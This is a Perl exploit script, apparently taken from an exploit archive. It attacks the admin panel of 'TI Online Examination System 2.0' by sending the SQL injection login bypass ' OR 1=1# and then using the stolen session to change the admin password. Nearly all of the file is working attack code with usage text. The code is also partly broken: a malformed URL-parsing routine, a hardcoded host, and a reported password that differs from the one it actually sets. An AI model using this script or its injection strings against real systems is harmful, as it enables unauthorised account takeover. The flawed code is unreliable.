#!/usr/bin/perl
# ------------------------------------------------------------------------
# [+] TI Online Examination System 2.0 Admin Password Changer Exploit
# ------------------------------------------------------------------------
# [*] Discovered by Juri Gianni - Turin,Italy
# [*] staker - staker[at]hotmail[dot]it / shrod9[at]gmail[dot]com
# [*] Discovered on 17/02/2017
# [*] Site Vendor: http://textusintentio.com/
# [*] Category: WebApp
# [*] BUG: SQL Injection
# --------------------------------------------------------------------------
#
#
#
# ----------------------------------------------------------------------------
# [+] Based on login bypass (sql injection)
#
# Go to admin/index.php and insert: ' OR 1=1# as email and any password.
#
# You will be logged into the admin panel.
#
# -----------------------------------------------------------------------------
use
strict;
use
IO::
SOCKET
::INET;
my
(
$host
,
$new_password
) =
@ARGV
;
parse_url(
$host
);
sub
parse_url()
{
$_
[0] =
$1
;
}
}
sub
usage() {
print
"[*---------------------------------------------------------*]\n"
.
"[* TI Online Examination System 2.0 Admin Password Changer *]\n"
.
"[*---------------------------------------------------------*]\n"
.
"[* Usage: perl web.pl [host] [new password] *]\n"
.
"[* *]\n"
.
"[* Options: *]\n"
.
"[* [host] insert a valid host *]\n"
.
"[* [path] insert a password *]\n"
.
"[*---------------------------------------------------------*]\n"
;
}
my
(
$PHPSESSID
,
$content
,
$packet
) = (
undef
,
undef
,
undef
);
my
$data
=
"login_type=admin&email=' OR 1=1#&password="
.
$new_password
;
my
$socket
= new IO::
Socket
::INET(
PeerAddr =>
$host
,
PeerPort => 80,
Proto =>
'tcp'
,
) or
die
$!;
$packet
.=
"POST /admin/index.php HTTP/1.1\r\n"
;
$packet
.=
"Host: oesv2.textusintentio.com\r\n"
;
$packet
.=
"User-Agent: Lynx (textmode)\r\n"
;
$packet
.=
"Content-Type: application/x-www-form-urlencoded\r\n"
;
$packet
.=
"Content-Length:"
.
length
(
$data
).
"\r\n"
;
$packet
.=
"Connection: close\r\n\r\n"
;
$packet
.=
$data
;
$socket
->
send
(
$packet
);
while
(<
$socket
>) {
$content
.=
$_
;
}
if
(
$content
=~ /PHPSESSID=(.+?);/) {
$PHPSESSID
=
$1
;
}
else
{
die
"[-] Exploit Failed"
;
}
my
(
$packet2
,
$data2
,
$content2
) = (
undef
,
undef
,
undef
);
my
$pword
=
"shrod"
;
my
$data2
=
"old_pass=' OR 1=1#&new_pass="
.
$pword
.
"&con_pass="
.
$pword
.
"&submit=Add+new+user"
;
my
$socket2
= new IO::
Socket
::INET(
PeerAddr =>
$host
,
PeerPort => 80,
Proto =>
'tcp'
,
) or
die
$!;
$packet2
.=
"POST /admin/change_password.php HTTP/1.1\r\n"
;
$packet2
.=
"Host: "
.
$host
.
"\r\n"
;
$packet2
.=
"User-Agent: Lynx (textmode)\r\n"
;
$packet2
.=
"Cookie: PHPSESSID="
.
$PHPSESSID
.
";\r\n"
;
$packet2
.=
"Content-Type: application/x-www-form-urlencoded\r\n"
;
$packet2
.=
"Content-Length:"
.
length
(
$data2
).
"\r\n"
;
$packet2
.=
"Connection: close\r\n\r\n"
;
$packet2
.=
$data2
;
$socket2
->
send
(
$packet2
);
while
(<
$socket2
>) {
$content2
.=
$_
;
}
if
(
$content2
=~ /Password is successfully changed/ ) {
print
"[*] Exploit Successful\r\n[*] New Password: "
.
$new_password
.
"\r\n"
;
}
else
{
die
"[-] Exploit Failed!"
;
}